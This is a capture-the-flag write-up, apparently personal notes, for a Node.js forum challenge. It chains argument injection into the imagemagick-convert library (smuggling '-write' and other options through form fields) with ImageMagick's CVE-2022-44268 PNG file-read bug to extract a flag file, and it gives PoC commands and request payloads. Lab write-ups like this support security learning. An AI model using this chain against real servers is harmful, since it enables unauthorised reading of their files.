Dockefile
FROM node:18-bullseye-slim
# Install packages
RUN apt update \
&& apt install -y wget pkg-config build-essential unzip libpng-dev libjpeg-dev libavif-dev libheif-dev supervisor \
&& wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/`7.1.0-33`.zip -O /tmp/ImageMagick-7.1.0-33.zip \
&& cd /tmp \
&& unzip ImageMagick-7.1.0-33.zip \
&& cd ImageMagick-7.1.0-33 \
&& ./configure \
&& make -j $(nproc) \
&& make install \
&& ldconfig /usr/local/lib \
&& rm -rf /var/lib/apt/lists/* /tmp/ImageMagick-7.1.0-33
# Setup supervisor
COPY ./config/supervisord.conf /etc/supervisor/supervisord.conf
# Install node application
USER node
# Create directory
RUN mkdir /home/node/app
# Switch working directory
WORKDIR /home/node/app
# Copy challenge files
COPY --chown=node:node ./challenge/ .
# Install node dependencies
RUN npm install
# Expose Node application
EXPOSE 8000
# Switch back to root
USER root
# Start supervisord
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisor/supervisord.conf"]
ImageMagick
stands out, a specific release of 7.1.0-33
to be exact
flag.txt
isn't read from anywhere so we need RCE
or a file read
.
routes/forum.js
const express = require("express");
const { AuthRequired } = require("../middleware/AuthMiddleware");
const fileUpload = require("express-fileupload");
const fs = require("fs/promises");
const path = require("path");
const { convert } = require("imagemagick-convert");
const { render } = require("../utils");
const ValidationMiddleware = require("../middleware/ValidationMiddleware");
const { randomBytes } = require("node:crypto");
const router = express.Router();
let db;
router.get("/", async function (req, res) {
render(req, res, "forum.html", { posts: await db.getPosts() });
});
router.get("/new", AuthRequired, async function (req, res) {
render(req, res, "new.html");
});
router.get("/post/:parentId", AuthRequired, async function (req, res) {
const { parentId } = req.params;
const parent = await db.getPost(parentId);
if (!parent || parent.parentId) {
req.flashError("That post doesn't seem to exist.");
return res.redirect("/forum");
}
render(req, res, "post.html", { parent, posts: await db.getThread(parentId) });
});
router.post(
"/post",
AuthRequired,
fileUpload({
limits: {
fileSize: 2 * 1024 * 1024,
},
}),
ValidationMiddleware("post", "/forum"),
async function (req, res) {
const { title, message, parentId, ...convertParams } = req.body;
if (parentId) {
const parentPost = await db.getPost(parentId);
if (!parentPost) {
req.flashError("That post doesn't seem to exist.");
return res.redirect("/forum");
}
}
let attachedImage = null;
if (req.files && req.files.image) {
const fileName = randomBytes(16).toString("hex");
const filePath = path.join(__dirname, "..", "uploads", fileName);
try {
const processedImage = await convert({
...convertParams,
srcData: req.files.image.data,
format: "AVIF",
});
await fs.writeFile(filePath, processedImage);
attachedImage = `/uploads/${fileName}`;
} catch (error) {
req.flashError("There was an issue processing your image, please try again.");
console.error("Error occured while processing image:", error);
return res.redirect("/forum");
}
}
const { lastID: postId } = await db.createPost(req.session.userId, parentId, title, message, attachedImage);
if (parentId) {
return res.redirect(`/forum/post/${parentId}#post-${postId}`);
} else {
return res.redirect(`/forum/post/${postId}`);
}
}
);
module.exports = (database) => {
db = database;
return router;
};
The only intresting functionality of this app is the creation of posts and more specifically the file upload for the post image.
It uses a library
const { convert } = require("imagemagick-convert");
to perform the below actions
let attachedImage = null;
if (req.files && req.files.image) {
const fileName = randomBytes(16).toString("hex");
const filePath = path.join(__dirname, "..", "uploads", fileName);
try {
const processedImage = await convert({
...convertParams,
srcData: req.files.image.data,
format: "AVIF",
});
await fs.writeFile(filePath, processedImage);
attachedImage = `/uploads/${fileName}`;
} catch (error) {
req.flashError("There was an issue processing your image, please try again.");
console.error("Error occured while processing image:", error);
return res.redirect("/forum");
}
}
const { lastID: postId } = await db.createPost(req.session.userId, parentId, title, message, attachedImage);
It converts any image file we give it to AVIF... Let's see the library on npm https://www.npmjs.com/package/imagemagick-convert
A 4 year old
package ok...
Snyk lists no security issues with it though https://snyk.io/advisor/npm-package/imagemagick-convert
Let's have a look at ImageMagick
itself for vulnerabilities
Nice! First result we get an LFI, exactly what we need to read the flag! https://www.exploit-db.com/exploits/51261
POC: https://github.com/vulhub/vulhub/blob/master/imagemagick/CVE-2022-44268/poc.py
python3 vulnhub-poc.py generate -i test.png -o xpl.png -r /home/node/app/flag.txt
But if we read through the problem only occurs with PNG files. When in this challenge it is explicitly converting AVIF files only.
Can we modify the format parameter by injecting our own?
const processedImage = await convert({
...convertParams,
srcData: req.files.image.data,
format: "AVIF",
});
convertParams comes from any extra params we pass, so we could in theory pass a "format":"PNG"
param
const { title, message, parentId, ...convertParams } = req.body;
Even if we add our own format like below
------WebKitFormBoundaryXtQRabx9AtkWXhZ9
Content-Disposition: form-data; name="title"
test-title
------WebKitFormBoundaryXtQRabx9AtkWXhZ9
Content-Disposition: form-data; name="message"
test-desc
------WebKitFormBoundaryXtQRabx9AtkWXhZ9
Content-Disposition: form-data; name="format"
PNG
If we console log the whole json
console.log("PARAMS:");
console.log({
...convertParams,
srcData: req.files.image.data,
format: "AVIF",
});
we see that AVIF still gets written as it comes second.
PARAMS:
{
format: 'AVIF',
rotate: 0,
flip: false,
srcData: <Buffer 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 06 00 00 01 7e 08 02 00 00 00 b7 4a 9a 06 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 ... 54173 more bytes>
}
So we can't really interfere with format
for now
Hmm. Lets locally modify AVIF -> PNG
, just to see what is going to happen and if this exploit is going to work. It does indeed work but we can't really do that so let's keep looking
Let's clone this library and have a look at what is happening in the convert function
the below code snippets are of particular interest
cmd = this.composeCommand(origin, result),
cp = spawn(rootCmd, cmd),
composeCommand(origin, result) {
const cmd = [],
resize = this.resizeFactory();
// add attributes
for (const attribute of attributesMap) {
const value = this.options.get(attribute);
if (value || value === 0) {
cmd.push(`-${attribute}`);
if (typeof value !== 'boolean') {
cmd.push(`${value}`);
}
}
}
// add resizing preset
if (resize) cmd.push(resize);
// add in and out
cmd.push(origin);
cmd.push(result);
return cmd;
}
So using our previously found injection we can only modify
attributesMap = new Set([
'density',
'background',
'gravity',
'quality',
'blur',
'rotate',
'flip'
]);
and resize
, lets test our injection, by changing the quality to something invalid such as orange
Nice!
Error occured while processing image: convert: invalid argument for option '-quality': orange @ error/convert.c/ConvertImageCommand/2515.
This means that we can inject params in the attributesMap
list...
Basically scratch that we can also put any param we want in the value of another param e.g:
{"quality":" 75 -background orange"}
will get parsed to
-quality 75 -background orange
hence we unlock any ImageMagick
convert arg we want..., but we can't escape the convert command due to the usage of spawn
and the arguments all being executed with rootCmd
which is
const rootCmd = process.platform === "win32" ? "magick" : "convert"
cp = spawn(rootCmd, cmd),
Let's have a look in ImageMagicks' convert manpage
for anything useful
We can see that -write filename.png
might allow us to write the png converted file which will have the file to be read embeded in profile
hence like this we can now retrieve the written file, parse the profile and read any file we want. By parsing it with
python3 vulnhub-poc.py parse -i resultflag.png 2&> result.txt
If we convert the hex data in result.txt somewhere inside it we can see the flag!